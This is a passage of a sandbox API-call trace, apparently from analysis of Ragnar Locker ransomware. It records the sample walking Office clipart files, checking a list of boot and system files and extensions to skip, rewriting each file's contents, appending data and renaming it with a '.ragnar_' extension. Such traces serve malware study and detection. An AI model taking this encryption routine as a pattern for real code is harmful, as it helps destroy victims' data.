[0083.208] CloseHandle (hObject=0xf4) returned 1 [0083.208] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" [0083.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ragnar_FD7BD9FC" [0083.208] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.209] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0083.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.209] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099174.WMF" | out: lpString1="J0099174.WMF") returned="J0099174.WMF" [0083.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned=".WMF" [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="autorun.inf") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="boot.ini") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="bootfont.bin") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="bootsect.bak") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="bootmgr") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="bootmgr.efi") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="bootmgfw.efi") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="desktop.ini") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="iconcache.db") returned 1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="ntldr") returned -1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="ntuser.dat") returned -1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="ntuser.dat.log") returned -1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="ntuser.ini") returned -1 [0083.209] lstrcmpiW (lpString1="J0099174.WMF", lpString2="thumbs.db") returned -1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.209] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0083.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.210] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6214) returned 1 [0083.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x183d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.210] GetProcessHeap () returned 0x580000 [0083.210] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.210] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.211] VirtualAlloc (lpAddress=0x0, dwSize=0x1846, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.212] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1846, lpOverlapped=0x0) returned 1 [0083.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.213] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1846, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.213] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1846, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1846, lpOverlapped=0x0) returned 1 [0083.213] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1846, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.213] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1846, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.213] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.213] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.213] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.213] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.213] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.213] GetProcessHeap () returned 0x580000 [0083.213] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.213] CloseHandle (hObject=0xf4) returned 1 [0083.214] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" [0083.214] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ragnar_FD7BD9FC" [0083.214] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.214] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0083.214] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.214] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099175.WMF" | out: lpString1="J0099175.WMF") returned="J0099175.WMF" [0083.214] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned=".WMF" [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="autorun.inf") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="boot.ini") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="bootfont.bin") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="bootsect.bak") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="bootmgr") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="bootmgr.efi") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="bootmgfw.efi") returned 1 [0083.214] lstrcmpiW (lpString1="J0099175.WMF", lpString2="desktop.ini") returned 1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="iconcache.db") returned 1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="ntldr") returned -1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="ntuser.dat") returned -1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="ntuser.dat.log") returned -1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="ntuser.ini") returned -1 [0083.215] lstrcmpiW (lpString1="J0099175.WMF", lpString2="thumbs.db") returned -1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.215] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0083.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.216] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9744) returned 1 [0083.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2607, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.216] GetProcessHeap () returned 0x580000 [0083.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.216] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2610, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.218] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2610, lpOverlapped=0x0) returned 1 [0083.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.219] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2610, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.219] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2610, lpOverlapped=0x0) returned 1 [0083.219] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2610, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.219] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2610, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.219] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.219] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.219] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.219] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.219] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.219] GetProcessHeap () returned 0x580000 [0083.219] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.220] CloseHandle (hObject=0xf4) returned 1 [0083.220] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" [0083.220] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ragnar_FD7BD9FC" [0083.220] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.220] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0083.220] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.220] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099176.WMF" | out: lpString1="J0099176.WMF") returned="J0099176.WMF" [0083.220] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned=".WMF" [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="autorun.inf") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="boot.ini") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="bootfont.bin") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="bootsect.bak") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="bootmgr") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="bootmgr.efi") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="bootmgfw.efi") returned 1 [0083.220] lstrcmpiW (lpString1="J0099176.WMF", lpString2="desktop.ini") returned 1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="iconcache.db") returned 1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="ntldr") returned -1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="ntuser.dat") returned -1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="ntuser.dat.log") returned -1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="ntuser.ini") returned -1 [0083.221] lstrcmpiW (lpString1="J0099176.WMF", lpString2="thumbs.db") returned -1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.221] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0083.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.221] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2488) returned 1 [0083.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.221] GetProcessHeap () returned 0x580000 [0083.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.221] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.223] VirtualAlloc (lpAddress=0x0, dwSize=0x9b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.223] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9b8, lpOverlapped=0x0) returned 1 [0083.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.224] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9b8, lpOverlapped=0x0) returned 1 [0083.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.224] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.224] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.224] GetProcessHeap () returned 0x580000 [0083.224] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.224] CloseHandle (hObject=0xf4) returned 1 [0083.224] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" [0083.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.ragnar_FD7BD9FC" [0083.225] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 